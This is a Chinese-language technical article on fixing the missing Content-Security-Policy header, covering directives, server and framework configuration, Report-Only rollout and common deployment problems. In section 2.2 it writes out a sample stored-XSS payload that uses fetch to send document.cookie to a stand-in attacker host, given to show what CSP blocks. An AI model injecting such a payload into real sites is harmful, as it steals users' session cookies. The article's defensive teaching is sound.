ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Content-Security-Policy缺失:原理、配置与生产级落地指南

Content-Security-Policy缺失:原理、配置与生产级落地指南

接到过一轮Web安全扫描,十有八九会在报告里看到Content-Security-Policy Header Not Set这条告警。我第一次看到它的时候,心里也犯嘀咕——网站跑得好好的,接口也正常,怎么突然冒出一个高优先级的安全问题?后来把CSP的文档啃了一遍,又在测试环境里折腾了几天,才算真正搞明白这条告警背后的含义。简单来说:你的服务器在返回HTML页面时,没有发送Content-Security-Policy响应头,浏览器因此只能按照最宽松的默认策略来加载页面上的所有资源。

这条告警之所以几乎所有的自动化扫描工具都会报,是因为CSP响应头缺失属于"配置类"漏洞,不需要复杂的攻击路径就能被工具识别。它不像某些漏洞那样需要特定参数、特定接口才能触发,而是只要响应头里没有CSP字段,扫描器就判定为风险项。很多开发者第一次修复时容易走极端,要么随便在网上抄一段CSP配置塞进去,要么干脆忽略这条告警,这两种做法都有问题。这篇文章我会把CSP的原理、配置方法、部署策略,以及我在实际项目中踩过的坑完整讲清楚,希望对你有帮助。

1. CSP缺失到底意味着什么——先从浏览器默认行为说起

要理解"Header Not Set"为什么会成为一个安全问题,得先了解浏览器的资源加载机制。浏览器在解析一个HTML页面时,会同步或异步加载很多子资源:<script>、<link>、<img>、<iframe>,还有通过Ajax/Fetch发出的网络请求。这些资源从哪里来、以什么方式执行,浏览器需要一套规则来约束。

如果服务器没有返回CSP响应头,浏览器就使用自己的默认策略:页面可以加载任意来源的同源资源,也能加载部分跨域资源,内联脚本和eval()这类动态代码执行也完全放行。换句话说,页面变成了一个"不设防"的容器,任何被注入到HTML里的恶意内容,浏览器都会照单全收。

这里可以用一个生活化的类比来理解。CSP相当于一份访客名单,写了"哪些人允许进入房间、哪些人只能待在门口"。没有这份名单时,门卫(浏览器)的默认做法是——所有人都放行,只要他敲门就开门。攻击者把恶意脚本注入到页面里,门卫根本不会拦,因为脚本本身就是页面的一部分。

所以CSP缺失的实质是:你放弃了主动控制页面资源加载的权利。在XSS(跨站脚本攻击)防护体系中,输入过滤和输出编码是第一道防线,CSP是第二道。第一道防线被绕过时,第二道防线如果不存在,攻击者就能直接在用户的浏览器会话里执行任意代码。

1.1 为什么扫描工具总是报这一条

自动化扫描工具判定CSP缺失的标准很简单:发起HTTP请求,解析响应头,查找Content-Security-Policy字段。如果字段不存在,直接标记为风险;如果字段存在但值为空或者内容异常宽松(比如default-src *),部分较严格的扫描器也会标记为"配置不当"。

这个检测原理决定了,几乎任何缺少CSP的网站都逃不过扫描器的眼睛。我在一个模拟项目X上做过测试:只是给Nginx加了一行add_header Content-Security-Policy "default-src 'self'",同样的扫描引擎重新跑一遍,这条高危告警就降为了"已通过"。反过来说,这也提醒我们:扫描报告里出现这条告警,不代表你的网站已经被入侵了,它代表的是——当攻击者尝试注入内容时,你的浏览器端几乎没有任何防御纵深。

1.2 严重级别评定背后的风险模型

很多扫描器把CSP缺失评为"中危"或"高危",评级标准取决于网站的资产类型和业务场景。如果是一个纯静态展示站点,没有登录态、没有表单操作,CSP缺失的实际风险没那么突出的;但如果涉及用户登录、支付操作或后台管理系统,攻击者在页面里注入一段脚本,就可以窃取Cookie、模拟用户操作、篡改页面内容,严重程度就完全不同了。

理解这一点很重要,因为修复优先级不能只看扫描报告上的颜色,还要结合业务场景判断。对生产环境的核心业务页面,CSP不应该是"可选优化项",而应该是上线检查的必过项。

2. CSP为什么能挡住XSS——理解策略指令的匹配逻辑

CSP的核心机制是"来源白名单":页面开发者声明"我只信任这些来源的资源",浏览器加载任何子资源前先检查来源是否在白名单里,不在就拦截。这个逻辑听起来简单,但指令粒度之细、坑点之多,只有亲自配置过才能体会。

2.1 常用指令与取值说明

CSP通过不同的指令控制不同类型的资源:

指令控制的内容常见取值示例
default-src所有未显式指定指令的资源类型的兜底策略'self'、*.example.com
script-srcJavaScript脚本的来源'self' 'nonce-xxx'、cdn.example.com
style-srcCSS样式表来源'self' 'unsafe-inline'
img-src图片来源'self' data: https:
connect-srcAjax/Fetch/WebSocket等网络请求目标'self' api.example.com
frame-ancestors谁可以在iframe中嵌入当前页面'self'、none
form-action表单可以提交到的地址'self' secure-pay.example.com

每个指令的取值可以是具体域名、通配符、关键字('self'、'none'、'unsafe-inline'、'unsafe-eval')。浏览器按照"最具体优先"的规则匹配:script-src存在时,脚本来源只看script-src;不存在时才看default-src。

2.2 白名单拦截在实际XSS攻击中的表现

举个实际的注入场景。攻击者在某个输入框里提交了<script>fetch('https://evil.example.com/steal?cookie='+document.cookie)</script>,服务端没有做好过滤,这段脚本被原样存进数据库,又在另一个用户查看页面时被渲染出来。

没有CSP时,浏览器按默认策略加载这段内联脚本,脚本里的fetch请求也会发出去,结果就是受害者的Cookie被发送到了攻击者的服务器上。

加了CSP并配置了script-src 'self'之后,浏览器识别到这是一个内联脚本——它的来源既不是同源文件,也没有合法的nonce值——直接拒绝执行,同时向控制台输出一条CSP违规报告。攻击代码虽然还留在页面上,但它已经变成了一段纯粹的文本,没有任何实际危害。

这就是CSP防护的核心价值:它不阻止恶意内容进入页面,但阻止恶意内容在页面里获得执行权限。对于某些无法彻底杜绝输入漏洞的历史项目,这相当于最后一层兜底。

2.3 为什么说CSP不是万能药

CSP只能约束资源加载和执行,它解决不了服务端的所有安全问题。举两个典型场景:如果攻击者能把恶意脚本上传到同源目录下,并且CSP配置里允许了该目录的静态文件加载,那么CSP形同虚设;如果业务本身就需要某个动态接口返回数据,而攻击者能诱导用户点击构造好的链接触发操作,CSP也做不到拦截CSRF这类攻击。所以合理的定位是:CSP是纵深防御的重要一环,但不能替代输入校验、输出编码、鉴权设计这些基础安全工作。

3. 从零配置一套可用的CSP——生产级配置拆解

配置CSP最忌一步到位。网上很多教程直接丢一个"最强配置",结果业务方的反馈是页面全白、功能瘫痪、第三方脚本集体报错。正确做法是分三步走:先梳理页面资源清单,再配置宽松策略观察违规报告,最后逐步收紧到合适粒度。

3.1 梳理页面资源清单

在写CSP之前,先打开网站的多功能页面,按F12打开开发者工具,切到Network面板,把页面里加载的所有资源域名整理出来。重点关注四类:需要执行脚本的域名、需要请求接口的域名、需要加载图片/字体的域名、是否有内联脚本或eval()。

这一步通常会暴露很多边界情况。我遇到过一个小型管理系统,页面里十几个内部工具都靠eval()动态加载模块;还有一个老项目页面上嵌了第三方客服组件的脚本,这个脚本已经多年没人维护,但业务部门不敢关。这些情况都直接决定了CSP的写法。

3.2 配置Report-Only模式收集违规报告

CSP支持两种模式:Content-Security-Policy强制模式和Content-Security-Policy-Report-Only观察模式。观察模式下,浏览器只收集违规报告,不拦截任何内容,非常适合做灰度验证。

我在某跨平台系统上线CSP时是这么操作的:先用Content-Security-Policy-Report-Only下发一套相对严格的策略,运行两周,通过report-uri或report-to指令把违规报告收集起来,去重后分析哪些资源被误伤、哪些策略需要调整。报告里看到script-src违规最频繁,然后对照具体违规URL排查,是第三方统计脚本、是灰度试验脚本、还是业务方自己埋的调试代码。两周后把策略调整稳定,再切换到强制模式。

3.3 一个相对稳妥的初始配置

对于多数公司内部管理类项目,我习惯用下面这作为初始基线,再根据报告调整:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{随机值}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com https://log.example.com; font-src 'self' data:; frame-ancestors 'self'; base-uri 'none'; form-action 'self';

逐条解释一下设计意图:

  • default-src 'self'兜底所有未列出的资源类型,只允许同源,这是整个策略的基调。
  • script-src用'self'加上nonce机制,既允许同源脚本,也允许带有合法nonce的内联脚本。内联脚本是很多项目绕不开的坑,用nonce比全部拦死更现实。
  • style-src 'unsafe-inline'——因为现在很多组件库会动态往页面里注入<style>标签,例如样式实时切换、动画库、旧版UI框架的运行时。完全不放开内联样式,会产生大量误报。
  • img-src放开了data:和https:,是为了兼容图片转Base64、外部图片素材和用户头像,这是业务层面的常见诉求。

注意:'unsafe-inline'写在style-src里是可以接受的,但千万不要因为图省事把它加到script-src里。一旦加进去,整条CSP的防护价值就大打折扣——XSS注入的脚本大概率就是以内联形式出现的。

3.4 nonce机制与哈希机制怎么选

处理内联脚本有两种主流方案:nonce(随机数)和hash(哈希)。

nonce方式适合脚本内容动态生成的场景。服务器在每次响应时生成一个一次性随机值,放进CSP头里,同时把这个值作为nonce属性写到允许执行的<script>标签上。浏览器判断:nonce匹配就允许执行,不匹配就拦下。这种方式对SPA框架和动态模板很友好,但要求服务器端能生成并注入nonce属性,纯静态站不好实现。

hash方式适合脚本内容固定的场景。把内联脚本做SHA-256哈希,把哈希值写进CSP的script-src里。内容不变就允许执行,内容有任何改动都会导致哈希变化、脚本被拦。这种方式的缺点也很明显,脚本内容一改,哈希就要同步更新,维护成本高。

我在实际的开发配置里是这么权衡的:如果是前后端一体的传统项目,用nonce;如果是纯静态托管的前端项目,优先引导业务方把内联脚本改造成独立JS文件,实在改不动的再用hash做例外处理。

4. 实操:在不同Web环境中落地CSP响应头

策略写好了,怎么把响应头发出去,不同部署环境的做法不同。我整理了三种常见场景的配置方法,还有开发环境的配合方式。

4.1 Nginx环境

Nginx里给所有HTML响应加CSP,最直接的方式是加add_header指令:

server { listen 443 ssl; server_name example.com; root /var/www/example; add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-${request_id}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; font-src 'self' data:; frame-ancestors 'self'; base-uri 'none'; form-action 'self';" always; }

注意两点。

第一,add_header只在状态码为200、201等特定响应码时生效,加上always参数后才能覆盖所有响应码,包括404和302。我见过不少项目因为没加always,导致扫描工具访问某个不存在路径时探不到CSP头,告警依然存在。

第二,nonce-${request_id}这种写法需要Nginx的模块配合,如果用的是OpenResty或者能自定义变量的环境,可以直接把变量值在<script>标签里同步带上。不是所有部署环境都支持这个用法,遇到不支持的,就在后端代码里生成nonce传入模板。

4.2 Apache环境

Apache使用Header指令配置:

<IfModule mod_headers.c> Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; font-src 'self' data:; frame-ancestors 'self'; base-uri 'none'; form-action 'self';" </IfModule>

放在虚拟主机配置里,或者.htaccess文件里,但.htaccess的方式会带来额外的一次文件解析开销,能不放就不放。

4.3 后端框架里设置

如果应用本身能控制响应头,我更推荐在后端代码里设置,因为可以直接把nonce值跟模板渲染的结果同步,不用解析Nginx变量。

在Node.js中使用Express中间件为例:

const helmet = require('helmet'); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'", "https://api.example.com"], fontSrc: ["'self'", "data:"], frameAncestors: ["'self'"], }, }) );

在其他后端语言中,思路是相同的。比如Java的Servlet:

response.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self' 'nonce-" + nonce + "'; style-src 'self' 'unsafe-inline'");

PHP:

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-" . $nonce . "'; style-src 'self' 'unsafe-inline'");

经验之谈:设置CSP头的位置要尽量靠前,最好在框架的全局中间件或拦载器里统一设置,不要在每一个Controller里分别加。不然后面上线新页面,只要漏加一次,安全扫描分分钟又会把这条告警重新标记出来。

4.4 关于frame-ancestors的一个补充

很多教程会把frame-ancestors 'self'和X-Frame-Options: DENY混在一起说。实际上frame-ancestors是CSP里的指令,用来控制当前页面是否允许被别的网站用iframe嵌入,它比X-Frame-Options更现代、更灵活。设置成'self'表示只允许同源页面嵌入,如果完全不允许被嵌入就写'none'。同时保留X-Frame-Options也有价值,因为老版本浏览器的兼容性更好,两条同时下发也不会冲突。

5. 上线CSP必踩的坑——我这里整理了一份问题速查表

CSP的配置工作,真正的难点不在"会写头"本身,而是"上线后业务不炸"。下面是我在实际项目中遇到频率最高的几类问题,以及对应处理方式。

5.1 页面白屏,控制台报"拒绝了内联脚本的执行"

这是上线CSP后最典型的故障。原因是页面模板里有大量的<script>标签直接写了逻辑,没有通过src引入外部文件,而CSP策略里script-src又没有授权内联脚本。

排查思路:先看控制台完整报错,里面会明确指出是哪个文件、哪个域名、哪种资源被拦截。如果是内联脚本,优先把内联逻辑抽到独立的JS文件里;如果确实抽不了,再考虑加nonce或hash。优先抽文件,因为内联脚本写多了本身就不利于维护。

5.2 第三方脚本全部失效

很多网站会接入数据统计分析、在线聊天、广告、身份验证等第三方脚本。它们通常以<script src="https://third-party.example.com/sdk.js">的形式加载。CSP一旦上线而script-src没有加入对应的域名,这些三方服务会静默失败。

我有一位同事负责的官网接入了一套客服系统,升级CSP后没有在connect-src里加客服接口的域名,结果客服气泡一直在转圈,用户发起会话全部失败,直到有客户投诉才发现。排查这类问题的关键仍然是看控制台的CSP违规报告,里面会列出被拦截的具体URL,逐个域名评估信任度、加入白名单即可。

5.3eval()被拦截,项目报"拒绝执行eval字符串"

部分旧的MVVM框架、模块加载器、混淆脚本会依赖eval()或Function()动态执行字符串。script-src里没有'unsafe-eval'时,它们会被拦截。

处理方案取决于项目实际:能升级框架的,优先升级,去掉eval()依赖;不能升级的,在script-src里加'unsafe-eval'。但加'unsafe-eval'会让CSP对动态代码执行完全失去防护,我的原则是"能加nonce的业务改造范围太广、实在动不了,才允许加unsafe-eval",并且要在安全评审里明确说明风险。

5.4 图片裂图、字体图标不显示

图片和字体是CSP误伤的重灾区。尤其是字体文件,很多框架以Base64或者跨域CDN的方式加载,而font-src没写data:或https:时,图标全变豆腐块。

排查方式:图片或字体跨域时,对照CSP违规报告,确认被拦截的请求来源,将它们加入img-src或font-src的合法列表。这里也提醒一下,图片资源层面,不建议写img-src *,会一下子放得太开,风险不值当。

5.5 WebSocket连接建立失败

如果业务用到WebSocket或者Server-Sent Events,需要把它们的目标域名加到connect-src里,否则浏览器会直接拒绝连接。这个问题的隐蔽之处在于,控制台报错有时候比较笼统,容易被当成服务器配置问题。先确认前端报错是不是CSP violation,再检查connect-src是否覆盖了ws://或wss://协议的域名。

我把这些高频问题整理成了一张速查表,方便实际排查时对照:

现象被拦截的资源处理建议
页面白屏,内联脚本不执行script-src脚本外置,或使用nonce/hash
第三方问卷、客服、统计不工作script-src/connect-src将对应域名加入白名单
动态代码模块报错script-src尽量避免,必要时加'unsafe-eval'
图片裂图、字体不显示img-src/font-src加入data:、https:或具体域名
WebSocket连不上connect-src补充ws:/wss:域名
页面被误嵌入其他网站frame-ancestors设置为'self'或'none'

5.6 开发环境的CSP配置怎么处理

生产环境用严格CSP没问题,开发环境的CSP如果同样严格,会非常影响开发体验:热更新脚本、开发调试工具、Vue/React DevTools都可能被拦截。一套务实的做法是:开发环境开启Content-Security-Policy-Report-Only并配置一条宽松策略,只收集违规报告、不拦截;生产环境再用严格策略。这样既不会影响日常开发,又能提前发现潜在的CSP兼容性问题。

6. 从告警到策略运营——CSP上线之后的事

CSP不是配一次就一劳永逸的配置。业务的页面结构在变、第三方接入在变、广告位在变,CSP策略必须跟着维持。我已经把CSP的维护动作纳入了发布流程,有几个具体建议:

每次发版前检查违规报告。配置了report-to之后,报告数据可以汇入日志平台或专门的监控告警通道。上线新功能之前,先看过去一天的报告中是否有新增违规,所有新增违规都应该是可解释的——要么是新功能需要的合法资源,要么就是发布出问题被浏览器拦下了。

定期审视白名单的必要性。白名单是一种"加进去容易、摘出来难"的东西。每季度回头看一遍CSP里的域名和关键字,已经不再使用的第三方连接、已经下线的CDN域名,及时清理。尤其是'unsafe-inline'、'unsafe-eval'这些关键字,能摘就摘。

把这个告警纳入逻辑回归。扫描报告里的CSP相关告警不应该等到季度安全扫描时才被发现。比较稳妥的方案是在CI流水线里加一步检查,专门校验生产环境响应头是否包含预期的CSP配置,缺失或内容异常直接终止发布。很多团队的现状是"上线前人工看一眼Nginx配置",这确实容易漏的,我所在的项目就曾经因为配置文件被另一分支覆盖而丢掉了CSP头,直到安全扫描才发现。

再分享一个具体的习惯:每次我在测试环境调试完新功能,都会用浏览器的无痕模式打开页面、手动查看响应头里有无CSP,同时打开控制台扫一眼有没有红色违规报错。这个习惯帮我避免了好几次"开发环境一切正常、测试环境被CSP拦到半残"的情况发生。

CSP这个配置项,单看一个响应头似乎无足轻重,但它在浏览器端安全防线里的位置,恰恰是最后一层兜底。我个人的体会是,尽早配置、持续维护,远比等到安全扫描报告变成红色之后再紧急修复要轻松得多。趁着告警还没有演变成安全事故之前,花半天时间把页面资源清单梳理一遍,把策略分成"强制+观察"两档逐步下发,这个投入是值得的。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进